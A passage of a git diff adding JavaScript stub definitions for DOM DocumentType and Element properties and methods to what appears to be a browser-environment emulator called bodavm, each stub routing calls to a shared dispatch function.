+bodavm.toolsFunc.defineProperty('DocumentType', "systemId", {configurable:true, enumerable:true, get:function systemId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "systemId_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "after", {configurable:true, enumerable:true, writable:true, value:function after (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "after", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "before", {configurable:true, enumerable:true, writable:true, value:function before (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "before", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "remove", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "replaceWith", {configurable:true, enumerable:true, writable:true, value:function replaceWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "replaceWith", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Element.js b/env_xbb_lastest_jsdom/env copy/Element.js new file mode 100644 index 00000000..c1bbc31d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Element.js @@ -0,0 +1,135 @@ +// Element对象 +bodavm.memory.globalobj['Element'] = function Element(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Element'], "Element"); +bodavm.memory.globalobj['Element'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['Element'].__proto__=bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('Element', "namespaceURI", {configurable:true, enumerable:true, get:function namespaceURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "namespaceURI_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "prefix", {configurable:true, enumerable:true, get:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "prefix_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "localName", {configurable:true, enumerable:true, get:function localName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "localName_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "tagName", {configurable:true, enumerable:true, get:function tagName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "tagName_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "id_get", arguments)}, set:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "id_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "className", {configurable:true, enumerable:true, get:function className (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "className_get", arguments)}, set:function className (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "className_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "classList", {configurable:true, enumerable:true, get:function classList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "classList_get", arguments)}, set:function classList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "classList_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "slot", {configurable:true, enumerable:true, get:function slot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "slot_get", arguments)}, set:function slot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "slot_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "attributes", {configurable:true, enumerable:true, get:function attributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attributes_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "shadowRoot", {configurable:true, enumerable:true, get:function shadowRoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "shadowRoot_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "part", {configurable:true, enumerable:true, get:function part (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "part_get", arguments)}, set:function part (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "part_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "assignedSlot", {configurable:true, enumerable:true, get:function assignedSlot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "assignedSlot_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "innerHTML", {configurable:true, enumerable:true, get:function innerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "innerHTML_get", arguments)}, set:function innerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "innerHTML_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "outerHTML", {configurable:true, enumerable:true, get:function outerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "outerHTML_get", arguments)}, set:function outerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "outerHTML_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollTop", {configurable:true, enumerable:true, get:function scrollTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTop_get", arguments)}, set:function scrollTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTop_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollLeft", {configurable:true, enumerable:true, get:function scrollLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollLeft_get", arguments)}, set:function scrollLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollLeft_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollWidth", {configurable:true, enumerable:true, get:function scrollWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollWidth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollHeight", {configurable:true, enumerable:true, get:function scrollHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollHeight_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientTop", {configurable:true, enumerable:true, get:function clientTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientTop_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientLeft", {configurable:true, enumerable:true, get:function clientLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientLeft_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientWidth", {configurable:true, enumerable:true, get:function clientWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientWidth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientHeight", {configurable:true, enumerable:true, get:function clientHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientHeight_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "attributeStyleMap", {configurable:true, enumerable:true, get:function attributeStyleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attributeStyleMap_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onbeforecopy", {configurable:true, enumerable:true, get:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecopy_get", arguments)}, set:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecopy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onbeforecut", {configurable:true, enumerable:true, get:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecut_get", arguments)}, set:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecut_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onbeforepaste", {configurable:true, enumerable:true, get:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforepaste_get", arguments)}, set:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforepaste_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onsearch", {configurable:true, enumerable:true, get:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onsearch_get", arguments)}, set:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onsearch_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "elementTiming", {configurable:true, enumerable:true, get:function elementTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "elementTiming_get", arguments)}, set:function elementTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "elementTiming_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onfullscreenchange", {configurable:true, enumerable:true, get:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenchange_get", arguments)}, set:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onfullscreenerror", {configurable:true, enumerable:true, get:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenerror_get", arguments)}, set:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onwebkitfullscreenchange", {configurable:true, enumerable:true, get:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenchange_get", arguments)}, set:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onwebkitfullscreenerror", {configurable:true, enumerable:true, get:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenerror_get", arguments)}, set:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "children", {configurable:true, enumerable:true, get:function children (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "children_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "firstElementChild", {configurable:true, enumerable:true, get:function firstElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "firstElementChild_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "lastElementChild", {configurable:true, enumerable:true, get:function lastElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "lastElementChild_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "childElementCount", {configurable:true, enumerable:true, get:function childElementCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "childElementCount_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "previousElementSibling", {configurable:true, enumerable:true, get:function previousElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "previousElementSibling_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "nextElementSibling", {configurable:true, enumerable:true, get:function nextElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "nextElementSibling_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "after", {configurable:true, enumerable:true, writable:true, value:function after (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "after", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "animate", {configurable:true, enumerable:true, writable:true, value:function animate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "animate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "append", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "attachShadow", {configurable:true, enumerable:true, writable:true, value:function attachShadow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attachShadow", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "before", {configurable:true, enumerable:true, writable:true, value:function before (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "before", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "closest", {configurable:true, enumerable:true, writable:true, value:function closest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "closest", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "computedStyleMap", {configurable:true, enumerable:true, writable:true, value:function computedStyleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "computedStyleMap", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttribute", {configurable:true, enumerable:true, writable:true, value:function getAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttribute", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNS", {configurable:true, enumerable:true, writable:true, value:function getAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNames", {configurable:true, enumerable:true, writable:true, value:function getAttributeNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNames", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNode", {configurable:true, enumerable:true, writable:true, value:function getAttributeNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNodeNS", {configurable:true, enumerable:true, writable:true, value:function getAttributeNodeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNodeNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getBoundingClientRect", {configurable:true, enumerable:true, writable:true, value:function getBoundingClientRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getBoundingClientRect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getClientRects", {configurable:true, enumerable:true, writable:true, value:function getClientRects (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getClientRects", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getElementsByClassName", {configurable:true, enumerable:true, writable:true, value:function getElementsByClassName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByClassName", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getElementsByTagName", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByTagName", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getElementsByTagNameNS", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagNameNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByTagNameNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getInnerHTML", {configurable:true, enumerable:true, writable:true, value:function getInnerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getInnerHTML", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasAttribute", {configurable:true, enumerable:true, writable:true, value:function hasAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttribute", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasAttributeNS", {configurable:true, enumerable:true, writable:true, value:function hasAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttributeNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasAttributes", {configurable:true, enumerable:true, writable:true, value:function hasAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttributes", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasPointerCapture", {configurable:true, enumerable:true, writable:true, value:function hasPointerCapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasPointerCapture", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "insertAdjacentElement", {configurable:true, enumerable:true, writable:true, value:function insertAdjacentElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentElement", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "insertAdjacentHTML", {configurable:true, enumerable:true, writable:true, value:function insertAdjacentHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentHTML", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "insertAdjacentText", {configurable:true, enumerable:true, writable:true, value:function insertAdjacentText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentText", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "matches", {configurable:true, enumerable:true, writable:true, value:function matches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "matches", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "prepend", {configurable:true, enumerable:true, writable:true, value:function prepend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "prepend", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "querySelector", {configurable:true, enumerable:true, writable:true, value:function querySelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "querySelector", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "querySelectorAll", {configurable:true, enumerable:true, writable:true, value:function querySelectorAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "querySelectorAll", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "releasePointerCapture", {configurable:true, enumerable:true, writable:true, value:function releasePointerCapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "releasePointerCapture", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "remove", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "removeAttribute", {configurable:true, enumerable:true, writable:true, value:function removeAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttribute", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "removeAttributeNS", {configurable:true, enumerable:true, writable:true, value:function removeAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttributeNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "removeAttributeNode", {configurable:true, enumerable:true, writable:true, value:function removeAttributeNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttributeNode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "replaceChildren", {configurable:true, enumerable:true, writable:true, value:function replaceChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "replaceChildren", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "replaceWith", {configurable:true, enumerable:true, writable:true, value:function replaceWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "replaceWith", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "requestFullscreen", {configurable:true, enumerable:true, writable:true, value:function requestFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "requestFullscreen", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "requestPointerLock", {configurable:true, enumerable:true, writable:true, value:function requestPointerLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "requestPointerLock", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scroll", {configurable:true, enumerable:true, writable:true, value:function scroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scroll", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollBy", {configurable:true, enumerable:true, writable:true, value:function scrollBy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollBy", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollIntoView", {configurable:true, enumerable:true, writable:true, value:function scrollIntoView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollIntoView", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollIntoViewIfNeeded", {configurable:true, enumerable:true, writable:true, value:function scrollIntoViewIfNeeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollIntoViewIfNeeded", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollTo", {configurable:true, enumerable:true, writable:true, value:function scrollTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttribute", {configurable:true, enumerable:true, writable:true, value:function setAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttribute", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttributeNS", {configurable:true, enumerable:true, writable:true, value:function setAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttributeNode", {configurable:true, enumerable:true, writable:true, value:function setAttributeNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttributeNodeNS", {configurable:true, enumerable:true, writable:true, value:function setAttributeNodeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNodeNS", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setPointerCapture", {configurable:true, enumerable:true, writable:true, value:function setPointerCapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setPointerCapture", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "toggleAttribute", {configurable:true, enumerable:true, writable:true, value:function toggleAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "toggleAttribute", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "webkitMatchesSelector", {configurable:true, enumerable:true, writable:true, value:function webkitMatchesSelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitMatchesSelector", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "webkitRequestFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitRequestFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitRequestFullScreen", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "webkitRequestFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitRequestFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitRequestFullscreen", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaAtomic", {configurable:true, enumerable:true, get:function ariaAtomic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAtomic_get", arguments)}, set:function ariaAtomic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAtomic_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaAutoComplete", {configurable:true, enumerable:true, get:function ariaAutoComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAutoComplete_get", arguments)}, set:function ariaAutoComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAutoComplete_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaBusy", {configurable:true, enumerable:true, get:function ariaBusy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBusy_get", arguments)}, set:function ariaBusy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBusy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaChecked", {configurable:true, enumerable:true, get:function ariaChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaChecked_get", arguments)}, set:function ariaChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaChecked_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaColCount", {configurable:true, enumerable:true, get:function ariaColCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColCount_get", arguments)}, set:function ariaColCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColCount_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaColIndex", {configurable:true, enumerable:true, get:function ariaColIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColIndex_get", arguments)}, set:function ariaColIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColIndex_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaColSpan", {configurable:true, enumerable:true, get:function ariaColSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColSpan_get", arguments)}, set:function ariaColSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColSpan_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaCurrent", {configurable:true, enumerable:true, get:function ariaCurrent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaCurrent_get", arguments)}, set:function ariaCurrent (){return bodavm.toolsFunc.dispatch(this, 